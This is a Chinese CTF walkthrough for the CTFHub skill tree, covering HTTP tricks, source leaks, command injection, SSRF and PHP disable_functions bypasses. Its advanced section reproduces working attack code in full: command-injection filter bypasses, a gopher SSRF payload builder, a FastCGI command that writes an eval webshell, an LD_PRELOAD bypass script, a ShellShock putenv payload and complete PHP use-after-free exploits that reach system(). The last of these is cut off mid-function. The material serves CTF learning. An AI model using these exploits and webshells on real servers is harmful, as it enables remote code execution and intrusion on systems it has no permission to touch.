CTFHUB技能树(全详细解析含进阶)

HTTP协议

在这里插入图片描述

请求树

在这里插入图片描述
在这里插入图片描述
根据提示直接修改头即可

302跳转

在这里插入图片描述
直接重放获得302跳转,
在这里插入图片描述

Cookie

在这里插入图片描述
字面意思,
在这里插入图片描述
在这里插入图片描述

基础认证

简介:
在HTTP中,基本认证(英语:Basic access authentication)是允许http用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。详情请查看 https://zh.wikipedia.org/wiki/HTTP基本认证
在这里插入图片描述
附件提供了密码,很明显就是爆破
在这里插入图片描述
在这里插入图片描述
有了用户名,而且发现一个base加密的东西
解密看看
在这里插入图片描述
固定格式啊,
那么我们将密码本修改了

在这里插入图片描述

直接开跑
在这里插入图片描述
很nice一个都跑不出来
在这里插入图片描述
终于出来了,!!!!
== 重点,base的结果不能存在等于号==

响应包源代码

在这里插入图片描述
噢!抓包抓不到,他是一个纯前端

信息泄露

目录遍历

在这里插入图片描述
开始一通乱找
在这里插入图片描述
在这里插入图片描述

phpinfo

在这里插入图片描述
字面意思

扫描二维码关注公众号,回复: 14958560 查看本文章

备份文件下载

网站源码

在这里插入图片描述

import requests

url = "http://challenge-b1d2b3af19e2c1e7.sandbox.ctfhub.com:10080/"

li1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
li2 = ['tar', 'tar.gz', 'zip', 'rar']
for i in li1:
    for j in li2:
        url_final = url + "/" + i + "." + j
        r = requests.get(url_final)
        print(str(r)+"+"+url_final)

在这里插入图片描述
在这里插入图片描述
众所周知,备份文件备份的都是文件,那么我们直接访问一下txt文件
在这里插入图片描述

bak文件

在这里插入图片描述
因为提示在bak文件中,那么我们直接访问bak文件
在这里插入图片描述
在这里插入图片描述
得到

vim缓存

在这里插入图片描述
swp文件:
非正常关闭vim就会生成swp文件
在这里插入图片描述
因为是隐藏文件,记得加点
在这里插入图片描述
修改了名字
我们vim index.php

在这里插入图片描述

点击修复即可

.DS_Store

在这里插入图片描述
在这里插入图片描述
访问.Ds_Store就能下载文件
在这里插入图片描述
放入linux 中,直接读取
在这里插入图片描述
访问即可

Git泄露

log

在这里插入图片描述

我们使用githack
在这里插入图片描述

在那个新建的目录下,git log
查看git的历史记录
在这里插入图片描述
我门所在的是remove flag
但是我们需要回到add flag
在这里插入图片描述
直接git diff
在这里插入图片描述

stash

基本同上
在这里插入图片描述

index

基本同上
在这里插入图片描述

SVN泄露

在这里插入图片描述
在这里插入图片描述
使用工具进行添加
当然这个不好使
推荐下面这个

https://github.com/kost/dvcs-ripper
在这里插入图片描述
进行回复,ctrl+H显示隐藏文件夹
在这里插入图片描述

使用svn checkout后,项目目录下会生成隐藏的.svn文件夹(Linux上用ls命令看不到,要用ls -al命令)。
svn1.6及以前版本会在项目的每个文件夹下都生成一个.svn文件夹,里面包含了所有文件的备份,文件名为 .svn/text-base/文件名.svn-base
svn1.7及以后版本则只在项目根目录生成一个.svn文件夹,里面的pristine文件夹里包含了整个项目的所有文件备份

在这里插入图片描述

HG泄露

我们同样使用上面那个工具
在这里插入图片描述

在这里插入图片描述
执行命令
在这里插入图片描述
在当前文件夹下,搜索带有flag字符串的(包括文件内)
发现flag文件,那么对应服务器打开
在这里插入图片描述

密码口令

弱口令

在这里插入图片描述
掏出珍藏的top100
在这里插入图片描述
emm还没跑,就有了
123456

默认口令

在这里插入图片描述
打开是一个亿邮,我们百度,初始密码

在这里插入图片描述
在这里插入图片描述
最后这个成功了,

XSS

反射型

在这里插入图片描述
在这里输入,他会在下面显示
在这里插入图片描述
在这里插入图片描述
我们使用xss平台
在这里插入图片描述
在这里插入图片描述
去访问这个连接,就有了
在这里插入图片描述

RCE

eval执行

在这里插入图片描述
啊这熟悉的php代码审计!
在这里插入图片描述
当场 whoami
在这里插入图片描述
file_put_contents写入文件试试
在这里插入图片描述
可以解析,写一句话木马
在这里插入图片描述
在这里插入图片描述
噢,这个马有点问题= =
我们还是读文件吧
在这里插入图片描述
在这里插入图片描述
记得是绝对路径哟

文件包含

他还送了个一句话
在这里插入图片描述

**加粗样式**
在这里插入图片描述
将一句话包含在这个php文件中就行了呀
我们来看一下,file get参数不为空,字符串中没有flag,
即可包含文件
在这里插入图片描述
包含后直接连接
在这里插入图片描述
在这里插入图片描述

php://input

在这里插入图片描述
噢~他不送我们shell了

在这里插入图片描述
0到6字符串强等于php://才能文件包含
在这里插入图片描述
读文件试一下,发现可以
在这里插入图片描述
直接一波读文件
在这里插入图片描述
php://input
相当于他去接收post的值,那么常规思路即可

读取源代码

在这里插入图片描述
提示,flag在/flag中,那么我们代码审计一波

好像跟之前的没啥区别
php://直接读文件
在这里插入图片描述
在这里插入图片描述

远程包含

在这里插入图片描述
我们可以看到他的远程包含开启了
在这里插入图片描述

他限定,get中没有flag,不能为空
那么我们远程包含自己服务器上面的一个木马即可
在这里插入图片描述
当然直接包含百度是可以的
我们在服务器上面写一个文件在这里插入图片描述

然后直接进行远程包含
在这里插入图片描述

在这里插入图片描述

直接包含
在这里插入图片描述

命令注入

在这里插入图片描述
在这里插入图片描述
ping 一下本地试试
在这里插入图片描述
一个| 即可
在这里插入图片描述
ls 发现文件
cat直接读取
在这里插入图片描述

过滤cat

在这里插入图片描述
在这里插入图片描述
我们使用tac即可

在这里插入图片描述

过滤空格

在这里插入图片描述

ls发现文件

在这里插入图片描述
在这里插入图片描述
这么多都可以

在这里插入图片描述

过滤目录分隔符

在这里插入图片描述
ls -al 怀疑他是一个目录

在这里插入图片描述
使用分号进行堆叠
在这里插入图片描述
在这里插入图片描述

过滤运算符

在这里插入图片描述
在这里插入图片描述
过滤了且运算,或运算,但是分号仍然可以使用
在这里插入图片描述

直接读取
在这里插入图片描述

综合过滤

在这里插入图片描述
在这里插入图片描述
首先代码审计一波
get的ip值不能为空,并且赋值给$ip
匹配一堆运算,匹配了cat flag ctfhub等关键字
(| & ;还有空格)
那么,找到之前的笔记,RCE的绕过

命令分隔符
linux中:

-%0a(回车) %0d(换行)   
-;    
-&      
-|       
-&&    
-||

windows中:

-%0a
-&
-|
-%1a(作为.bat文件中的命令分隔符)

这个题目的绕过的话,可以考虑16进制或者拼接,
或者两个单引号,两个双引号
在这里插入图片描述
127.0.0.1%0acd${IFS}fl''ag_is_here%0aca''t${IFS}*#
在这里插入图片描述
127.0.0.1%0acd${IFS}fl$*ag_is_here%0aca''t${IFS}*#
$* 猜测为空,所以可行
任何没定义的都算空,(就不输出)
在这里插入图片描述

文件上传

见之前的博客
在这里插入图片描述

ssrf

整个知识点,在之前写的,ssrflab中有讲解

内网访问

在这里插入图片描述
直接打开访问即可
在这里插入图片描述

伪协议读取文件

在这里插入图片描述
访问百度是可行的
在这里插入图片描述
直接上伪协议

file:///
dict://
sftp://
ldap://
tftp://
gopher://(万金油)

在这里插入图片描述

端口扫描

在这里插入图片描述
提示,端口8000-9000
端口扫描一般使用dict://
在这里插入图片描述
抓包修改即可
在这里插入图片描述

改成数字
在这里插入图片描述
找到8460端口,访问数据不同,然后我们换成http
即可
在这里插入图片描述

POST请求

在这里插入图片描述
在这里插入图片描述
我们访问flag.php 会给我们一个上传框,同时给了我们key
在这里插入图片描述
它提示的302不能访问呀
在这里插入图片描述
看到上一个框框,form post 带着key 访问呢
直接访问,flag.php 是提醒我们从内网才可以
在这里插入图片描述
在这里插入图片描述
带着key试试

噢!不能访问
nice
我们从新回去,找一下有几个页面
index.php flag.php

从内部访问,我们需要使用gopher 协议,去帮我们提交带key的请求
查看一下源码

在这里插入图片描述
在这里插入图片描述
gopher包需要精心构造才可以

    Gopher协议没有默认端口,需要制定POST方法,回车换行使用%0d%0a,参数之间的分隔符也用URL编码,其他与HTTP协议类似。

这里是找的大佬的payload生成
注意 content-length一定要和key一样

import urllib.parse


payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=7a63523334ee824db18990ffc181d204
"""

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

在这里插入图片描述
当然 burp本身已经算出来了
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

上传文件

在这里插入图片描述
在这里插入图片描述
直奔主题,直接访问,查看到需要上传文件
在这里插入图片描述
查看一下源码
我们把它的提交按钮给他补上
在这里插入图片描述
在这里插入图片描述
当场抓到包
但是他是需要从本地发起的上传才可以
直接将包放到之前的py脚本中
在这里插入图片描述

在这里插入图片描述

FASTCGI协议

在这里插入图片描述
他的提示文章在这里
https://blog.csdn.net/mysteryflower/article/details/94386461
在这里插入图片描述
我们使用gopherus工具

利用条件:

libcurl版本>=7.45.0

PHP-FPM监听端口

PHP-FPM版本 >= 5.3.3

知道服务器上任意一个php文件的绝对路径`

用来写shell

python gopherus.py --exploit fastcgi
/var/www/html/index.php                 # 这里输入的是一个已知存在的php文件
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php`

在这里插入图片描述
需要将生成的进行一次编码,因为get本身进行一次url解码
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Redis协议

在这里插入图片描述
攻击redis的方式很多,见之前的讲解,
写入ssh公钥、读文件、写文件、反弹shell。很多,
在这里插入图片描述
我们还是使用上面的工具
我们先来phpshell
在这里插入图片描述
这个我们不需要进行编码
在这里插入图片描述
在这里插入图片描述

URLbypass

在这里插入图片描述
在这里插入图片描述
我们使用xip.io发现被ban了
在这里插入图片描述
发现成功读取
在这里插入图片描述
之前的博客中有讲解
在这里插入图片描述

数字IP bypass

在这里插入图片描述
ban了 十进制,我们可以十六进制,八进制呀
二进制
同样在之前的文章中有讲解
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

302跳转 bypass

在这里插入图片描述
我们发现,不能进行http的访问

在这里插入图片描述
但是127.0.0.1的可以访问

在这里插入图片描述
说明后端逻辑是

如果访问为带有http时,不允许
如果没有则跳转到该字符串,
在这里插入图片描述
我访问自己的服务器,发现可以
,验证了如上说法

DNS重绑定 bypass

验证工具

https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=
在这里插入图片描述
我们在这里,将两个ip解析到一个url上面

在这里插入图片描述
在这里插入图片描述
,当我们使用这个url的时候,就有概率访问到127.0.0.1 从而绕开IP的限制
(或者说,绕开,限定的ip)
在这里插入图片描述
一直点,总有一次会解析到127.0.0.1

WEB进阶

Bypass disable_function

LD_PRELOAD

预加载绕过,我们可以使用蚁剑插件,或者网上的so文件,
在这里插入图片描述
在这里插入图片描述
打开
我们先连接蚁剑
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
执行命令发现是不可以的,因为有限制
使用插件绕过
在这里插入图片描述
生成了这个文件
我们连接他
在这里插入图片描述
即可rce
在这里插入图片描述
在这里插入图片描述
cat权限不够,我们试试tac 当然如果不行的话,我们还可以尝试more之类的读取命令
在这里插入图片描述

方法2 现成的so(这个是免杀得哟)

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

    unlink($out_path);
?>

在这里插入图片描述
需要配合 so文件,首先全部上传
在这里插入图片描述
emm,沙箱环境没有实现,但是之前是可以使用的。(不知道什么问题)

ShellShock

ShellShock,破壳漏洞,出现于2014年
可以通过以下命令来判断是否存在这个漏洞
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果出现vulnerable说明存在
在这里插入图片描述
在这里插入图片描述
bash shell中定义环境变量通过函数名称来调用时,正常情况下是这样

但是对于存在shellshock漏洞的环境下,Bash对于环境变量只是检测到函数,并且从’{‘开始执行,但是并没有在’}‘后停止,也就是说定义在函数体外shell命令也会执行,所以env x=’() { :;}; echo vulnerable’ 输出了vulnerable。

在这里插入图片描述
如上是error函数,的用法
在这里插入图片描述

首先蚁剑连接,如果有时候连接不上,可以转换连接加密解密方式看看

在这里插入图片描述
意外收获,直接使用自带插件绕过即可rce 为什么需要用tac? 因为cat 所属的是www-data 没有权限去读取,有一部分的权限可能就仍然是bash的权限。
在这里插入图片描述
回归正题
在这里插入图片描述
正常被ban了无法进行命令执行
我们手工传入shell.php 和 test.php
进行加载环境变量
error_log和mail两个函数,都可以使用,(为了避免ban掉一个)

<?php
  @eval($_REQUEST['ant']);
  putenv("PHP_test=() { :; }; tac /flag >> /var/www/html/test.php");
  error_log("admin",1);
  //mail("admin@localhost","","","","");
?>

在这里插入图片描述
然后我们访问shell.php
在这里插入图片描述
在这里插入图片描述
这时候已经生成了。
参考自这里
https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/2

Apache Mod CGI

在这里插入图片描述
进来以后我们首先,连shell
在这里插入图片描述

在这里插入图片描述
首先如果使用插件,很容易

在这里插入图片描述
该绕过的条件

第一,必须是apache环境
第二,mod_cgi已经启用
第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
第四,必须有权限写.htaccess文件

这些就是他蚁剑写入的
在这里插入图片描述
在这里插入图片描述
任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。
如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。
这里,将所有.ant后缀的文件作为cgi脚本执行

PHP-FPM

预先知识

Nginx+Php-fpm 运行原理详解
攻击PHP-FPM 实现Bypass Disable Functions
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

在这里插入图片描述
它本身是在内网段的,通过nginx进行反向代理,才能进行通讯
在这里插入图片描述
连接一手
在这里插入图片描述
通讯地址我们选择本地的 (相当于他服务器的本地),
在这里插入图片描述
在这里插入图片描述
连接我们的代理php
直接命令行
在这里插入图片描述

GC UAF

exp出自这里

本篇之后就涉及到了溢出,由于本人资历尚浅,无法分析根源漏洞,只能使用蚁剑工具/现成exp进行推进。

利用的是PHP garbage collector程序中的堆溢出触发,影响范围为7.0-1.3

<?php

# Author: https://github.com/mm0r1

pwn($_POST["pass"]);

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;

        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

在这里插入图片描述
在这里插入图片描述

Json Serializer UAF

利用json序列化中的堆溢出触发,借以绕过disable_function,影响范围是:
7.1 – all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)

<?php

# Author: https://github.com/mm0r1

$cmd = $_POST["pass"];

$n_alloc = 10; # increase this value if you get segfaults

class MySplFixedArray extends SplFixedArray {
    public static $leak;
}

class Z implements JsonSerializable {
    public function write(&$str, $p, $v, $n = 8) {
      $i = 0;
      for($i = 0; $i < $n; $i++) {
        $str[$p + $i] = chr($v & 0xff);
        $v >>= 8;
      }
    }

    public function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    public function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    # unable to leak ro segments
    public function leak1($addr) {
        global $spl1;

        $this->write($this->abc, 8, $addr - 0x10);
        return strlen(get_class($spl1));
    }

    # the real deal
    public function leak2($addr, $p = 0, $s = 8) {
        global $spl1, $fake_tbl_off;

        # fake reference zval
        $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
        $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)

        $leak = strlen($spl1::$leak);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

        return $leak;
    }

    public function parse_elf($base) {
        $e_type = $this->leak2($base, 0x10, 2);

        $e_phoff = $this->leak2($base, 0x20);
        $e_phentsize = $this->leak2($base, 0x36, 2);
        $e_phnum = $this->leak2($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = $this->leak2($header, 0, 4);
            $p_flags = $this->leak2($header, 4, 4);
            $p_vaddr = $this->leak2($header, 0x10);
            $p_memsz = $this->leak2($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    public function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = $this->leak2($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = $this->leak2($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = $this->leak2($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = $this->leak2($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    public function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = $this->leak2($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    public function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->leak2($addr);
            $f_name = $this->leak2($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return $this->leak2($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    public function jsonSerialize() {
        global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = new DateInterval('PT1S');

        $room = [];
        for($i = 0; $i < $n_alloc; $i++)
            $room[] = new Z();

        $_protector = $this->ptr2str(0, 78);

        $this->abc = $this->ptr2str(0, 79);
        $p = new DateInterval('PT1S');

        unset($y[0]);
        unset($p);

        $protector = ".$_protector";

        $x = new DateInterval('PT1S');
        $x->d = 0x2000;
        $x->h = 0xdeadbeef;
        # $this->abc is now of size 0x2000

        if($this->str2ptr($this->abc) != 0xdeadbeef) {
            die('UAF failed.');
        }

        $spl1 = new MySplFixedArray();
        $spl2 = new MySplFixedArray();

        # some leaks
        $class_entry = $this->str2ptr($this->abc, 0x120);
        $handlers = $this->str2ptr($this->abc, 0x128);
        $php_heap = $this->str2ptr($this->abc, 0x1a8);
        $abc_addr = $php_heap - 0x218;

        # create a fake class_entry
        $fake_obj = $abc_addr;
        $this->write($this->abc, 0, 2); # type
        $this->write($this->abc, 0x120, $abc_addr); # fake class_entry

        # copy some of class_entry definition
        for($i = 0; $i < 16; $i++) {
            $this->write($this->abc, 0x10 + $i * 8, 
                $this->leak1($class_entry + 0x10 + $i * 8));
        }

        # fake static members table
        $fake_tbl_off = 0x70 * 4 - 16;
        $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
        $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);

        # fake zval_reference
        $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)

        # look for binary base
        $binary_leak = $this->leak2($handlers + 0x10);
        if(!($base = $this->get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }

        # parse elf header
        if(!($elf = $this->parse_elf($base))) {
            die("Couldn't parse ELF");
        }

        # get basic_functions address
        if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
            die("Couldn't get basic_functions address");
        }

        # find system entry
        if(!($zif_system = $this->get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }

        # copy hashtable offsetGet bucket
        $fake_bkt_off = 0x70 * 5 - 16;

        $function_data = $this->str2ptr($this->abc, 0x50);
        for($i = 0; $i < 4; $i++) {
            $this->write($this->abc, $fake_bkt_off + $i * 8, 
                $this->leak2($function_data + 0x40 * 4, $i * 8));
        }

        # create a fake bucket
        $fake_bkt_addr = $abc_addr + $fake_bkt_off;
        $this->write($this->abc, 0x50, $fake_bkt_addr);
        for($i = 0; $i < 3; $i++) {
            $this->write($this->abc, 0x58 + $i * 4, 1, 4);
        }

        # copy bucket zval
        $function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
        for($i = 0; $i < 12; $i++) {
            $this->write($this->abc,  $fake_bkt_off + 0x70 + $i * 8, 
                $this->leak2($function_zval, $i * 8));
        }

        # pwn
        $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
        $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);

        $spl1->offsetGet($cmd);

        exit();
    }
}

$y = [new Z()];
json_encode([&$y]);

通过蚁剑或者PHP的file_put_contents写入之后,运行即可执行命令
在这里插入图片描述
在这里插入图片描述

Backtrace UAF

影响版本是7.0-7.4
在这里插入图片描述

<?php

# Author: https://github.com/mm0r1

pwn($_POST["pass"]);

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
